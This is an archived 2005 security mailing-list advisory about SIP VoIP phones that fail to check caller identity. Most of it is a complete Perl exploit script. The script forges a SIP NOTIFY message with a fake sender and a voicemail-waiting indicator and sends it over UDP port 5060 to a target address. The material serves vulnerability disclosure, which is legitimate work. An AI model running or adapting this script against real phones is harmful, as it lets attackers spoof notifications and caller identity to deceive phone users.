[EXPL] Notify Message Spoofing Vulnerability With VoIP Phones (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/11/05

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    Date: 11 Jul 2005 14:31:21 +0200
    
    

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      Notify Message Spoofing Vulnerability With VoIP Phones (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As reported earlier, many SIP implementations do not perform proper
    Caller-ID checks. This allows an attacker to spoof various NOTIFY
    messages, such as call-waiting and voice-mail.
    For more information see:
    <http://www.securiteam.com/securitynews/5MP0C00GAM.html> Notify Message
    Spoofing Vulnerability With VoIP Phones

    DETAILS

    #!/usr/bin/perl -w
    # Exploit generated by beSTORM on 2005-07-08 17:49
    # All Rights Reserved - Copyright (tm)

    use IO::Socket;
    use strict;

    my $target = shift;
    my $print_usage = 0;
    my $repeated_type = "A";

    if (!$target)
    {
     usage();

     print "No target has been supplied, reverting to 192.168.3.10.\n";
     $target = "192.168.3.10";
    }

    my $attackerip = shift;
    if (!$attackerip)
    {
     usage();

     print "Attacker IP address has not been supplied, reverting to
    192.168.3.52.\n";
     $attackerip = "192.168.3.52";
    }

    my $attackedip = shift;
    if (!$attackedip)
    {
     usage();

     print "Contact IP address has not been supplied, reverting to
    192.168.3.9.\n";
     $attackedip = "192.168.3.9";
    }

    print "Will attack $target.\n";
    print "Attacker IP address defined as: $attackerip\n";
    print "Attacked IP address defined as: $attackedip\n";

    my $target_port = 5060;

    my $packet =<<END;
    NOTIFY sip:username:password\@$attackerip SIP/2.0\r
    To: <sip:$attackedip:$target_port>\r
    Via: SIP/2.0/UDP $attackedip:5060;branch=000000000000000\r
    From: "asterisk" <sip:asterisk\@$attackedip>;tag=000000000\r
    Contact: <sip:asterisk\@$attackerip>\r
    Call-ID: 3121$attackedip\r
    CSeq: 102 NOTIFY\r
    User-Agent: Asterisk PBX\r
    Event: message-summary\r
    Content-Type: application/simple-message-summary\r
    Max-Forwards: 70\r
    Content-Length: 37\r
    \r
    Messages-Waiting: yes\r
    Voicemail: 3/2\r
    END

    print "Sending: [$packet]\n";
    print "Length: ".length($packet)."\n";

    socket(PING, PF_INET, SOCK_DGRAM, getprotobyname("udp"));

    my $ipaddr = inet_aton($target);
    my $sendto = sockaddr_in($target_port,$ipaddr);

    send(PING, $packet, 0, $sendto) == length($packet) or die "cannot send to
    $target : $target_port : $!\n";

    print "Done.\n";

    sub usage
    {
     if ($print_usage) { return; }
     $print_usage = 1;
     print ("#"x50);
     print "\n";
     print "# $0 [hostname] [repeater] [attackerip] [attackedip]\n";
     print "# hostname\t-\tThe host the packet will be sent to.\n";
     print "# repeater\t-\tThe number of times the character will be sent
    (repeated character $repeated_type).\n";
     print "# attackerip\t-\tThe IP address from which the packet should
    be\n";
     print "\t\t\taddressed from (doesn't have to be your IP address).\n";
     print "# attackedip\t-\tThe IP address that you are contacting\n";
     print "\t\t\t(doesn't have to be the hostname IP's address).\n";
     print "\n";
     print "Results may vary depending on how the remote host handles
    packets.\n";
     print "For example:\n";
     print " * Some SIP Proxies won't look into packets addressed to it
    (attackedip or attackerip).\n";
     print " * Some SIP Routers won't handle packets that aren't addressed to
    it.\n";
     print "etc\n";
     print "\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:storm@beyondsecurity.com>
    beSTORM.

    ========================================

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